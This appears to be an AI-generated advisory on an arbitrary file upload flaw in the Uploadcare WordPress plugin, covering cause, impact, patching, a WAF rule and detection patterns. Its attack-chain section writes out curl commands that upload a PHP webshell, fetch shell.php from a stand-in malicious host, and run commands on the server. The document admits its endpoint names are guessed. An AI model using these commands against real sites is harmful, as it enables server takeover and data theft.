CVE-2026-119067 — WordPress is vulnerable to Uploadcare File Uploa — CWE-434
The Uploadcare File Uploader and Adaptive Delivery plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 3.1.0. This is due to missing capability checks on the Uploadcare attachment-registration and cloud-to-local transfer actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
The Uploadcare File Uploader and Adaptive Delivery plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 3.1.0. This is due to missing capability checks on the Uploadcare attachment-registration and cloud-to-local transfer actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
🎯 What is this vulnerability?
Technical flaw
The Uploadcare File Uploader and Adaptive Delivery plugin for WordPress (up to and including v3.1.0) performs file‑upload and cloud‑to‑local transfer operations without verifying the user’s capability.
- The plugin registers an AJAX action (e.g.,
uploadcare_upload) that accepts a multipart file upload. - The code that handles the upload does not call
current_user_can( 'upload_files' )(or any other capability check). - The same lack of checks applies to the “cloud‑to‑local transfer” endpoint, which pulls a file from an Uploadcare URL and writes it to the local filesystem.
- RCE: Immediate remote code execution on the web server.
- Site takeover: Ability to create new admin accounts, modify themes, or install additional malware.
- Data breach: Exposure of user credentials, content, and potentially sensitive business data.
- Reputation damage: Public defacement or malicious content served from the site.
- Update the plugin immediately:
wp plugin update uploadcare-file-uploader-adaptive-delivery. - Verify the new version number in the plugin’s
readme.txtorplugin.php. - CVSS: 8.8 (High) – indicates a severe risk with low exploitation complexity.
- CISA KEV: No – the vulnerability is not listed as a known exploit, but the lack of a public exploit does not reduce the risk.
- Exploit Complexity: Low – only requires authenticated access with a Subscriber role.
- Impact: Full RCE, data breach, and site takeover are possible.
Because the checks are missing, any authenticated user with the Subscriber role or higher can trigger these actions. The plugin also does not enforce file‑type validation, MIME‑type checks, or file‑name sanitisation. Consequently, an attacker can upload a PHP file (or any executable) to a publicly accessible directory and later execute it, leading to Remote Code Execution (RCE).
CWE – 434: Unrestricted Upload of File with Dangerous Type
CVSS – 8.8/10 (High) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
⚡ Attack Chain
Note: The exact endpoint and parameter names are not disclosed in the CVE description. The following example uses the most common WordPress AJAX pattern (/wp-admin/admin-ajax.php) and a typical action name (uploadcare_upload). If the plugin uses a different route or REST endpoint, the same logic applies – the attacker must supply a file in a POST request to the upload action.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker looks for | |
|---|---|---|---|
| Identify WordPress | curl -I https://target.com/wp-admin/ | Look for the WordPress admin login page. | |
| Locate plugin | curl -s https://target.com/wp-content/plugins/ | grep -i uploadcare | Verify that the plugin is installed and note its version (e.g., 3.1.0). |
| Check capabilities | curl -u user:pass https://target.com/wp-json/wp/v2/users/me | Confirm that the user has at least the Subscriber role. |
2. Exploitation
| Step | Action | Example |
|---|---|---|
| Authenticate | Log in as a Subscriber (or any role ≥ Subscriber). | curl -c cookies.txt -d "log=user&pwd=pass&wp-submit=Log+In" https://target.com/wp-login.php |
| Upload a malicious file | Send a multipart POST to the plugin’s upload endpoint. | ``bash\ncurl -b cookies.txt \\\n -F "action=uploadcare_upload" \\\n -F "file=@/tmp/webshell.php" \\\n https://target.com/wp-admin/admin-ajax.php\n` |
| Cloud‑to‑local transfer (alternative) | Trigger the cloud‑to‑local endpoint with a malicious URL. | `bash\ncurl -b cookies.txt \\\n -F "action=uploadcare_cloud_to_local" \\\n -F "url=https://malicious.com/shell.php" \\\n https://target.com/wp-admin/admin-ajax.php\n`` |
Illustrative payload – The filewebshell.phpcontains a simple webshell (e.g.,<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>).
The plugin stores the file in wp-content/uploads/uploadcare/ (or a similar public directory). 3. Post‑Exploitation
| Step | Impact | How it’s achieved |
|---|---|---|
| Execute the webshell | RCE | Access https://target.com/wp-content/uploads/uploadcare/webshell.php?cmd=whoami |
| Privilege escalation | If the webshell runs with the web‑server user (often www-data), the attacker can read/write any file on the server, modify WordPress core files, or install additional malware. | |
| Data exfiltration | The attacker can use the webshell to read database credentials, dump the wp_users table, or exfiltrate other sensitive files. | |
| Persistence | The attacker can upload a backdoor, create a new admin user, or modify .htaccess to maintain access. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary files can contain scripts that read database credentials, user data, or other secrets. |
| Integrity (I:H) | The attacker can overwrite or modify WordPress core files, plugin files, or uploaded content, leading to defacement or further compromise. |
| Availability (A:H) | Uploading large or malformed files could exhaust disk space or trigger denial‑of‑service conditions. |
| Scope (S:U) | The vulnerability does not change the scope of the affected system; it remains within the WordPress installation. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed in |
|---|---|
| Uploadcare File Uploader and Adaptive Delivery plugin | v3.1.1 (or any release after 3.1.0) – the patch adds capability checks (current_user_can('upload_files')) and enforces file‑type validation. |
Action:
2. Workarounds (if patching is not yet possible)
| Mitigation | How to implement | |||||
|---|---|---|---|---|---|---|
| Disable the plugin | wp plugin deactivate uploadcare-file-uploader-adaptive-delivery | |||||
| Restrict upload capabilities | Add the following snippet to functions.php or a site‑wide plugin: ``php\nfunction restrict_uploadcare_uploads() {\n if ( is_user_logged_in() && ! current_user_can( 'manage_options' ) ) {\n // Block the AJAX action for non‑admin users\n add_action( 'wp_ajax_uploadcare_upload', 'wp_die', 10, 0 );\n add_action( 'wp_ajax_uploadcare_cloud_to_local', 'wp_die', 10, 0 );\n }\n}\nadd_action( 'init', 'restrict_uploadcare_uploads' );\n` | |||||
| WAF / ModSecurity rule | Block uploads of dangerous extensions: `modsecurity\nSecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \\\n "chain,phase:2,block,msg:'Uploadcare arbitrary file upload'\nSecRule REQUEST_HEADERS:Content-Type \"multipart/form-data\" \\\n \"chain\"\nSecRule REQUEST_BODY \"(?i)(\\.php | \\.phtml | \\.php5 | \\.php7 | \\.phps | \\.php\\.inc)\" \"t:none\"\n` |
| Restrict public upload directory | Move the upload directory outside the web root or add an .htaccess rule to deny execution of PHP files in the uploads folder: `apache\n<Directory /var/www/html/wp-content/uploads/uploadcare>\n <Files *.php>\n Order allow,deny\n Deny from all\n </Files>\n</Directory>\n`` |
3. Detection
| Indicator | Log pattern | How to spot it |
|---|---|---|
| Suspicious POST to admin‑ajax.php | POST /wp-admin/admin-ajax.php?action=uploadcare_upload | Look for action=uploadcare_upload or uploadcare_cloud_to_local. |
| New file creation in uploads | File created: /wp-content/uploads/uploadcare/*.php | Check error_log or access_log for 200 OK responses with Content-Disposition: attachment. |
| Large file uploads | Transfer-Encoding: chunked or Content-Length: > 10MB | Flag unusually large uploads from authenticated users. |
| Execution of uploaded file | GET /wp-content/uploads/uploadcare/*.php | Monitor for 200 OK responses to PHP files that were not part of the original codebase. |
Tip: Use a SIEM or log‑analysis tool to correlate authentication events with file‑upload actions.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query